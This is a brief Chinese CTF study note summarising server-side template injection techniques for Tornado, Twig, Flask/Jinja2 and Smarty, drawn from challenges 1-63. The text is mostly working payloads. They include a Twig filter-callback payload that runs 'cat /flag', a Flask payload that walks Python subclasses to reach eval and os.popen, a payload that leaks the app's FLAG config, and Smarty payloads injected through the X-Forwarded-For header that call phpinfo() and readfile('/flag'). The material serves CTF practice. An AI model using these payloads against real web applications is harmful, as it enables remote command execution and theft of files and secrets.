第1-63题总结:SSTI模板注入篇

第一种:tornado,eg:第十二题

tornado在URL上进行注入,利用{ {handerler.settings}}获取成员变量,利用{%命令%}执行控制语句

第二种:Twig模板

  1. 输入{ {7*‘7’}}后出现49,而不是7777777,说明是使用Twig模板而不是Jinja2
  2. { {_self.env.registerUndefinedFilterCallback(“exec”)}}{ {_self.env.getFilter(“cat /flag”)}}获取flag

第三种:Flask,eg:第六十二题

使用url_for.__globals__获取全局变量,看到current_app,再通过current_app获取到flag,最终:/shrine/{
     {
     url_for.__globals__["current_app"].config['FLAG']}}
{
     % for c in [].__class__.__base__.__subclasses__() %}{
     % if c.__name__=='catch_warnings' %}{
     {
      c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{
     % endif %}{
     % endfor %}

第四种:Smarty

利用:X-Forwarded-For:{if phpinfo()}{/if}测试是否存在漏洞
利用:X-Forwarded-For:{if readfile(’/flag’)}{/if}读取flag文件

你可能感兴趣的:(CTF-WEB,web)